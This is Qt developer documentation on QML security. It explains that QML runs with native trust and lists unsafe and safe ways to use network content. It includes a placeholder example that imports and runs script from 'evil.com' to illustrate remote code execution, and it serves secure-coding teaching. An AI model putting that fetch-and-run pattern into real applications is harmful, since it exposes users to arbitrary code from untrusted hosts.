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/*!
\page qdeclarativesecurity.html
\title QML Security
\section1 QML Security

The QML security model is that QML content is a chain of trusted content: the user
installs QML content that they trust in the same way as they install native Qt applications,
or programs written with runtimes such as Python and Perl. That trust is establish by any
of a number of mechanisms, including the availability of package signing on some platforms.

In order to preserve the trust of users, developers producing QML content should not execute
arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements.

For example, this QML content:

\qml
import "http://evil.com/evil.js" as Evil
... Evil.doEvil() ...
\endqml

is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
environment of QML does not try to stop any particular accesses, including local file system
access, just as for any native Qt application, so the "doEvil" function could do the same things
as a native Qt application, a Python application, a Perl script, etc.

As with any application accessing other content beyond it's control, a QML application should
perform appropriate checks on untrusted data it loads.

A non-exhaustive list of the ways you could shoot yourself in the foot is:

\list
    \i Using \c import to import QML or JavaScript you do not control. BAD
    \i Using \l Loader to import QML you do not control. BAD
    \i Using \l{XMLHttpRequest}{XMLHttpRequest} to load data you do not control and executing it. BAD
\endlist

However, the above does not mean that you have no use for the network transparency of QML.
There are many good and useful things you \e can do:

\list
    \i Create \l Image elements with source URLs of any online images. GOOD
    \i Use XmlListModel to present online content. GOOD
    \i Use \l{XMLHttpRequest}{XMLHttpRequest} to interact with online services. GOOD
\endlist

The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser},
has quite many restrictions. With QML, you should neither rely on similar restrictions, nor
worry about working around them.
*/